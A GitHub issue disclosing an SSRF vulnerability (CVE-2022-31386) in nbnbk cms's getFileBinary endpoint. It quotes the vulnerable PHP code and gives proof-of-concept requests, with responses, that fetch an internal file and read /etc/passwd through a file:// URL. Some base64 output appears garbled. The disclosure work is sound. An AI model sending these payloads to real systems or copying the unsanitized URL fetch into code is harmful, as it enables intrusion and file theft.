

[New issue](#)[Jump to bottom](#)

# [Vuln] SSRF vulnerability in getFileBinary Function #5

🔒 Closed zer0yu opened this issue on May 19 · 2 comments

zer0yu commented on May 19 • edited ▾

A Server-Side Request Forgery (SSRF) in getFileBinary function of nbnbk cms allows remote attackers to force the application to make arbitrary requests via injection of arbitrary URLs into the url parameter.

Vulnerable code in /application/api/controller/Index.php

```
/**
 * 文件转Base64二进制流
 * @param $url 网络文件路径, 绝对地址
 * @return string
 */
public function getFileBinary()
{
    $str = file_get_contents($_REQUEST['url']);
    Util::echo_json(ReturnData::create(ReturnData::SUCCESS, chunk_split(base64_encode($str))));
}
```

## Vulnerability PoC

```
GET /api/Index/getFileBinary?url=http://172.16.119.1:8181/flag.txt HTTP/1.1
Host: 172.16.119.130
Connection: close
```

The effect of the exploit is shown in the following figure. A remote attacker can force the application to make arbitrary requests via the injection of arbitrary URLs into the url parameter.

**Request**

```
1 GET /api/Index/getFileBinary?url=http://172.16.119.1:8181/flag.txt HTTP/1.1
2 Host: 172.16.119.130
3 Connection: close
```

**Response**

```
1 HTTP/1.1 200 OK
2 Date: Thu, 19 May 2022 11:43:00 GMT
3 Server: Apache/2.4.39 (Unix) OpenSSL/1.1.1b
4 X-Powered-By: PHP/7.2.21
5 Access-Control-Allow-Origin: *
6 Access-Control-Allow-Methods: GET,POST
7 Access-Control-Allow-Headers:
  x-requested-with,content-type,x-access-token,x-access-appid
8 Set-Cookie: think_var=zh-cn; path=/
9 Set-Cookie: think_var=zh-cn; path=/
10 Vary: Accept-Encoding
11 Connection: close
12 Content-Type: text/html; charset=UTF-8
13 Content-Length: 61
14
15 {"code":0,"msg":"操作成功","data":{"ZmxhZ3t0ZXN0fQo="}}
```

**Inspector**

Selected text: ZmxhZ3t0ZXN0fQo=

Decoded from: Base64

flag(test)\n

**Request Attributes**: 2

**Request Query Parameters**: 1

**Request Body Parameters**: 0

**Request Headers**: base

**Response Headers**: base

**Terminal**

```
tmp
echo "flag{test}" > flag.txt
tmp
php -S 0.0.0.0:8181
PHP 7.2.34 Development Server started at Thu May 19 19:42:58 2022
Listening on http://0.0.0.0:8181
Document root is /private/tmp
Press Ctrl-C to quit.
[Thu May 19 19:42:59 2022] 172.16.119.130:54246 [200]: /flag.txt
```

A remote attacker can also read arbitrary file information from the target system.

## PoC

```
GET /api/Index/getFileBinary?url=file:///etc/passwd HTTP/1.1
Host: 172.16.119.130
Connection: close
```

**Request**

```
1 GET /api/Index/getFileBinary?url=file:///etc/passwd HTTP/1.1
2 Host: 172.16.119.130
3 Connection: close
```

**Response**

```
1 HTTP/1.1 200 OK
2 Date: Thu, 19 May 2022 12:00:31 GMT
3 Server: Apache/2.4.39 (Unix) OpenSSL/1.1.1b
4 X-Powered-By: PHP/7.2.21
5 Access-Control-Allow-Origin: *
6 Access-Control-Allow-Methods: GET,POST
7 Access-Control-Allow-Headers:
  x-requested-with,content-type,x-access-token,x-access-appid
8 Set-Cookie: think_var=zh-cn; path=/
9 Set-Cookie: think_var=zh-cn; path=/
10 Vary: Accept-Encoding
11 Connection: close
12 Content-Type: text/html; charset=UTF-8
13 Content-Length: 3613
14
15 {"code":0,"msg":"操作成功","data":{"cm9vdDp4OjA6MDpyb290019yb290019iaW4vYmFzaApkYVWtb246eDoxOjE6ZGF1bW9u0191c3Iv\nc2JpbjovdXNyL3NiaW4vbm9sb2dpbgp1aW46eDoyOjE6Ym9u0191aW46L3Vzc192Ym9u0191c3Iv\nc2JpbjovdXNyL3NiaW4vbm9sb2dpbgp1aW46eDoyOjE6Ym9u0191c3IvZ2FtZXN0fQo="}}
```

After decoding the data field of the HTTP response body in base64, you can get the specific content of the file ( /etc/passwd )

```
nlul3pzaApzc2hkOng6MTlyOjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4KbXlzeWw6eDoxMjM6MTT3Ok15U1FMlFicnZlciwslDovbm9uZXhpc3RlbnQ6L2Jpb9mYWxzZQp3d3c6eDoxMDAxOjEwMDE6Oi9ob21lL3d3dovYmluL3NoCg==

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```



fgeek commented on Jun 11

[CVE-2022-31386](#) has been assigned for this vulnerability.

zer0yu commented on Jun 15 Author

thx, bro

zer0yu closed this as completed on Jun 15

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

